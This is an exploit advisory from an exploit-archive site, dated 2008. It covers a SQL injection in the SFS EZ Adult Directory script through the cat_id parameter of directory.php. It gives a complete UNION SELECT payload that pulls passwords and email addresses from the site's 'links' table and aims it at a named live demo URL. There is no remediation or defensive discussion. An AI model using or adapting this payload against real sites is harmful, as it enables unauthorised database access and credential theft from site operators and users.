[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SFS EZ Adult Directory (directory.php id) SQL Injection Vulnerability
# Published : 2008-10-31
# Author : Hurley
# Previous Title : Absolute Control Panel XE 1.5 Insecure Cookie Handling Vulnerability
# Next Title : Logz podcast CMS 1.3.1 (add_url.php art) SQL Injection Vulnerability
==================================================================================
SFS EZ Adult Directory (directory.php id) Remote SQL Injection Vulnerability
==================================================================================
__ __ __
/ / / /_ _______/ /__ __ __
/ /_/ / / / / ___/ / _ / / / /
/ __ / /_/ / / / / __/ /_/ /
/_/ /_/__,_/_/ /_/___/__, /
/____/
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit: http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]
----------------------------------------------------------------------------------
LiveDemo:
http://turnkeyzone.com/demos/adultdir/directory.php?ax=list&sub=6&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*
----------------------------------------------------------------------------------
==================================================================================
Special Thx : Darckc0de
==================================================================================
# www.Syue.com [2008-10-31]